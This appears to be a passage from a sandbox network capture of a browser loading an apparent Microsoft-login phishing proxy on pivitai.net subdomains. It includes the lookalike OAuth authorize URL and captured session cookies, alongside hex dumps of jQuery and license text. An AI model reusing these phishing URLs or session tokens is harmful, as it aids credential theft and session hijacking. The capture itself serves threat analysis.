https://dfgrt.pivitai.net/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office365.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2de7d3a2-b15a-b0a1-7d30-6f38e323fb09&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638497595002018025.6c8b42bd-f9fa-46f1-82e3-a88f5d2203a6&state=DctBFoAgCABRrddxSERBPA5WbFt2_Vj82U1OKe1hCxkjaUjTPgdPRiSsisSnXLo6rRt8ukEXr6D0NDBV55sIm0mO9yjvZ-UH Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d; esctx-3UthQiNWeYA=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IBaozxtGlk9P_MZmIstVk93o4LiNrXf0bizuXBgbTY70owvrgpnWlSUx1zGJjIhc3Iunu-oKF4oU8rlO43wX8g0ruZ4KdBe8tJ0I7b7XGMikWIa8HWOF1zjbbBIYxjgiZWvk-fUQ1b7PgUm_UebpoyAA; fpc=Aklos_I7PTVNnQgzHKlcwXQ; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8NOyYEDa-V5afKvKYt4dy5p5NwnVj7EKdnpgsar5OU14_SrjYe1SvjEDghyftj1pHfqv-2Okr3H7w3gHZ2d_GzR_cqQTJpNCgvkCZJ8ndyBpEZqN6LODtSyHiSCwLAkP-zUp9VxBA7dSmn1WLsp4gh_FMnYbnTj6z4M0brj-a-b0gAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2024-04-26 20:18:25 UTC	784	IN	HTTP/1.1 404 Not Found Date: Fri, 26 Apr 2024 20:18:24 GMT Transfer-Encoding: chunked Connection: close Cache-Control: private Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+sin"}]} X-Ms-Ests-Server: 2.1.17910.10 - SEASLR1 ProdSlices X-Ms-Request-Id: 345e8d32-8a44-41b5-abb7-5b95189ab900 X-Ms-Srs: 1.P CF-Cache-Status: BYPASS Set-Cookie: x-ms-gateway-slice=estsfd; Path=/; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 87a943038d3d74b6-MIA alt-svc: h3=":443"; ma=86400
2024-04-26 20:18:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.17	49727	172.67.223.170	443	8028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:18:24 UTC	681	OUT	GET /ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js HTTP/1.1 Host: wreg.pivitai.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://dfgrt.pivitai.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
2024-04-26 20:18:25 UTC	1213	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 20:18:25 GMT Content-Type: application/x-javascript Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Etag: 0x8D8DA1D997CA245 Last-Modified: Fri, 26 Feb 2021 06:13:13 GMT X-Azure-Ref: 20240425T145645Z-158fbddb65dkbt890d1hbuaaq800000007u00000000066vy X-Cache: TCP_HIT X-Cache-Info: L1_T2 X-Fd-Int-Roxy-Purgeid: 4554691 X-Ms-Blob-Type: BlockBlob X-Ms-Lease-Status: unlocked X-Ms-Request-Id: 8e4bd8e5-401e-0026-3834-968ea1000000 X-Ms-Version: 2009-09-19 CF-Cache-Status: HIT Age: 105699 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NLU63AxXpsh7Z6mXYy21CA4YvcFrZLIpDr2w83sAgftWHXgv%2FYJHtn7rR5j88isF6FKWX7%2F20YYsArH3dXWjjpueO15fGxyifrGttNUVcUU55UhQlPoPJghtiAqlaRYAmiap"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a9430a495721f4-MIA alt-svc: h3=":443"; ma=86400
2024-04-26 20:18:25 UTC	156	IN	Data Raw: 33 38 36 36 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 35 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 Data Ascii: 3866/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==t
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 69 74 68 20 61 20 64 6f 63 75 6d 65 6e 74 22 29 3b 72 65 74 75 72 6e 20 74 28 65 29 7d 3a 74 28 65 29 7d 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 3f 77 69 6e 64 6f 77 3a 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 43 2c 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 74 3d 5b 5d 2c 72 3d 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 Data Ascii: ypeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototy
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 6e 2e 63 61 6c 6c 28 65 2c 74 2c 65 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 29 7d 2c 66 69 72 73 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 71 28 30 29 7d 2c 6c 61 73 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 71 28 2d Data Ascii: unction(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack(s.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f 6e 63 65 7d 2c 6e 29 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 30 3b 69 66 28 70 28 65 29 29 7b 66 6f 72 28 6e 3d 65 2e 6c 65 6e 67 74 68 3b 72 3c 6e 3b 72 2b 2b 29 69 66 28 21 31 3d 3d 3d 74 2e 63 61 6c 6c 28 65 5b 72 5d 2c 72 2c 65 5b 72 5d 29 29 62 72 65 61 6b 7d 65 6c 73 65 20 66 6f 72 28 72 20 69 6e 20 65 29 69 66 28 21 31 3d 3d 3d 74 2e 63 61 6c 6c 28 65 5b 72 5d 2c 72 2c 65 5b 72 5d 29 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 65 Data Ascii: function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.nonce},n)},each:function(e,t){var n,r=0;if(p(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 2c 49 3d 22 28 3f 3a 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 7c 5b 5c 5c 77 2d 5d 7c 5b 5e 5c 30 2d 5c 5c 78 37 66 5d 29 2b 22 2c 57 3d 22 5c 5c 5b 22 2b 4d 2b 22 2a 28 22 2b 49 2b 22 29 28 3f 3a 22 2b 4d 2b 22 2a 28 5b 2a 5e 24 7c 21 7e 5d 3f 3d 29 22 2b 4d 2b 22 2a 28 3f 3a 27 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 27 5d 29 Data Ascii: utoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t\\r\\n\\f]",I="(?:\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\[^\\r\\n\\f]\|[\\w-]\|[^\0-\\x7f])+",W="\\["+M+"("+I+")(?:"+M+"([^$\|!~]?=)"+M+"(?:'((?:\\\\.\|[^\\\\'])
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c 78 37 66 2d 5c 75 46 46 46 46 5c 77 2d 5d 2f 67 2c 69 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3f 22 5c 30 22 3d 3d 3d 65 3f 22 5c 75 66 66 66 64 22 3a 65 2e 73 6c 69 63 65 28 30 2c 2d 31 29 2b 22 5c 5c 22 2b 65 2e 63 68 61 72 43 6f 64 65 41 74 28 65 2e 6c 65 6e 67 74 68 2d 31 29 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 2b 22 20 22 3a 22 5c 5c 22 2b 65 7d 2c 6f 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b Data Ascii: .fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\x7f-\uFFFF\w-]/g,ie=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},oe=function(){
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 65 29 7b 4e 28 74 2c 21 30 29 7d 66 69 6e 61 6c 6c 79 7b 73 3d 3d 3d 53 26 26 65 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 7d 7d 7d 72 65 74 75 72 6e 20 67 28 74 2e 72 65 70 6c 61 63 65 28 24 2c 22 24 31 22 29 2c 65 2c 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 75 65 28 29 7b 76 61 72 20 72 3d 5b 5d 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 20 65 28 74 2c 6e 29 7b 72 65 74 Data Ascii: length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(e){N(t,!0)}finally{s===S&&e.removeAttribute("id")}}}return g(t.replace($,"$1"),e,n,r)}function ue(){var r=[];return function e(t,n){ret
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3b 72 65 74 75 72 6e 21 59 2e 74 65 73 74 28 74 7c 7c 6e 26 26 6e 2e 6e 6f 64 65 4e 61 6d 65 7c 7c 22 48 54 4d 4c 22 29 7d 2c 54 3d 73 65 2e 73 65 74 44 6f 63 75 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 2c 72 3d 65 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 3a 70 3b 72 65 74 75 72 6e 20 72 21 Data Ascii: !=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e.namespaceURI,n=(e.ownerDocument\|\|e).documentElement;return!Y.test(t\|\|n&&n.nodeName\|\|"HTML")},T=se.setDocument=function(e){var t,n,r=e?e.ownerDocument\|\|e:p;return r!
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 6e 3d 6f 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 29 26 26 6e 2e 76 61 6c 75 65 3d 3d 3d 65 29 72 65 74 75 72 6e 5b 6f 5d 3b 69 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 65 29 2c 72 3d 30 3b 77 68 69 6c 65 28 6f 3d 69 5b 72 2b 2b 5d 29 69 66 28 28 6e 3d 6f 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 Data Ascii: turn t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 64 69 73 61 62 6c 65 64 27 3e 3c 2f 61 3e 3c 73 65 6c 65 63 74 20 64 69 73 61 62 6c 65 64 3d 27 64 69 73 61 62 6c 65 64 27 3e 3c 6f 70 74 69 6f 6e 2f 3e 3c 2f 73 65 6c 65 63 74 3e 22 3b 76 61 72 20 74 3d 43 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 3b 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 Data Ascii: ("a#"+S+"+*").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>";var t=C.createElement("input");t.setAttribute("type"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.17	49732	172.67.223.170	443	8028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:18:25 UTC	689	OUT	GET /ests/2.1/content/cdnbundles/converged.v2.login.min_1ito3russhq-9gioj-zd4w2.css HTTP/1.1 Host: yukrtg.pivitai.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://dfgrt.pivitai.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
2024-04-26 20:18:25 UTC	1138	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 20:18:25 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 116793 Cache-Control: public, max-age=31536000 Content-Md5: kqhA3D0Xczna4D/t8ioitQ== Etag: 0x8DC070858CA028D Last-Modified: Wed, 27 Dec 2023 18:19:21 GMT Vary: Accept-Encoding X-Cache: HIT X-Ms-Blob-Type: BlockBlob X-Ms-Lease-Status: unlocked X-Ms-Request-Id: 7dcedb98-301e-0090-3ed1-7ebd51000000 X-Ms-Version: 2009-09-19 CF-Cache-Status: HIT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4rFBBmTSZiv9uA1bkwbekpV1BmxE3XQOpvjbrnrClt4I%2BN3qnLIz47pOjjBJ6eMsEVazKb9xCjVowvYcAYRRKUElec8OBpbaOmS7K3TnSeIL5gaXk7jqfM0WqIlPj5cfAceygBM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a9430fcba08756-MIA alt-svc: h3=":443"; ma=86400
2024-04-26 20:18:25 UTC	231	IN	Data Raw: 33 38 62 31 0d 0a 2f 2a 21 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2a 2f 2f 2a 21 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 Data Ascii: 38b1/! Copyright (C) Microsoft Corporation. All rights reserved. //*!------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------This file is based on or incorporates mate
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 6e 64 20 74 68 65 20 6c 69 63 65 6e 73 65 20 75 6e 64 65 72 20 77 68 69 63 68 20 4d 69 63 72 6f 73 6f 66 74 20 72 65 63 65 69 76 65 64 20 73 75 63 68 20 54 68 69 72 64 20 50 61 72 74 79 20 49 50 2c 20 61 72 65 20 73 65 74 20 66 6f 72 74 68 20 62 65 6c 6f 77 2e 20 53 75 63 68 20 6c 69 63 65 6e 73 65 73 20 61 6e 64 20 6e 6f 74 69 63 65 73 20 61 72 65 20 70 72 6f 76 69 64 65 64 20 66 6f 72 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 61 6c 20 70 75 72 70 6f 73 65 73 20 6f 6e 6c 79 2e 20 4d 69 63 72 6f 73 6f 66 74 20 Data Ascii: rial from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 4e 47 20 42 55 54 20 4e 4f 54 20 4c 49 4d 49 54 45 44 20 54 4f 20 54 48 45 20 57 41 52 52 41 4e 54 49 45 53 20 4f 46 20 4d 45 52 43 48 41 4e 54 41 42 49 4c 49 54 59 2c 0a 46 49 54 4e 45 53 53 20 46 4f 52 20 41 20 50 41 52 54 49 43 55 4c 41 52 20 50 55 52 50 4f 53 45 20 41 4e 44 20 4e 4f 4e 49 4e 46 52 49 4e 47 45 4d 45 4e 54 2e 20 49 4e 20 4e 4f 20 45 56 45 4e 54 20 53 48 41 4c 4c 20 54 48 45 0a 41 55 54 48 4f 52 53 20 4f 52 20 43 4f 50 59 52 49 47 48 54 20 48 4f 4c 44 45 52 53 20 42 45 20 4c 49 41 42 4c 45 20 46 4f 52 20 41 4e 59 20 43 4c 41 49 4d 2c 20 44 41 4d 41 47 45 53 20 4f 52 20 4f 54 48 45 52 0a 4c 49 41 42 49 4c 49 54 59 2c 20 57 48 45 54 48 45 52 20 49 4e 20 41 4e 20 41 43 54 49 4f 4e 20 4f 46 20 43 4f 4e 54 52 41 43 54 2c 20 54 4f 52 54 20 4f Data Ascii: NG BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THEAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHERLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT O
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 54 41 42 49 4c 49 54 59 2c 20 46 49 54 4e 45 53 53 20 46 4f 52 20 41 20 50 41 52 54 49 43 55 4c 41 52 20 50 55 52 50 4f 53 45 20 41 4e 44 20 4e 4f 4e 49 4e 46 52 49 4e 47 45 4d 45 4e 54 2e 20 49 4e 20 4e 4f 20 45 56 45 4e 54 20 53 48 41 4c 4c 20 54 48 45 20 41 55 54 48 4f 52 53 20 4f 52 20 43 4f 50 59 52 49 47 48 54 20 48 4f 4c 44 45 52 53 20 42 45 20 4c 49 41 42 4c 45 20 46 4f 52 20 41 4e 59 20 43 4c 41 49 4d 2c 20 44 41 4d 41 47 45 53 20 4f 52 20 4f 54 48 45 52 20 4c 49 41 42 49 4c 49 54 59 2c 20 57 48 45 54 48 45 52 20 49 4e 20 41 4e 20 41 43 54 49 4f 4e 20 4f 46 20 43 4f 4e 54 52 41 43 54 2c 20 54 4f 52 54 20 4f 52 20 4f 54 48 45 52 57 49 53 45 2c 20 41 52 49 53 49 4e 47 20 46 52 4f 4d 2c 20 4f 55 54 20 4f 46 20 4f 52 20 49 4e 20 43 4f 4e 4e 45 43 54 Data Ascii: TABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECT
